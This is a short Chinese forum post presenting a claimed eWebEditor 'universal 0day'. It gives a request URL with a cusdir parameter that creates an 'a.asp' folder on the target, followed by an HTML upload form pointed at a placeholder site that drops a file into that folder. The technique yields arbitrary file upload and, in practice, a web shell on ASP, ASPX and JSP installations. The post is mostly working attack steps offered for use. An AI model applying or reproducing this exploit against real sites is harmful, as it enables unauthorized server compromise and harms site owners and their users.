ewebeditor通杀鸡肋0day

作者：hack1990 时间：11-01-16 阅读数：453人阅读

我曾经发现一个改版的EWEB 5.5
先访问这个地址
Editor/asp/upload.asp?action=save&type=image&style=popup&cusdir=a.asp
访问这个地址可以建立个A.ASP的文件夹……
再用这个html代码上传。

<form action="http://www.xxx.com/Editor/asp/upload.asp?action=save&type=image&style=popup&cusdir=a.asp" method=post name=myform enctype="multipart/form-data">
<input type=file name=uploadfile size=100><br><br>
<input type=submit value=upload>
</form>

对6.X的也管用，对ASP。aspx。JSP。均管用。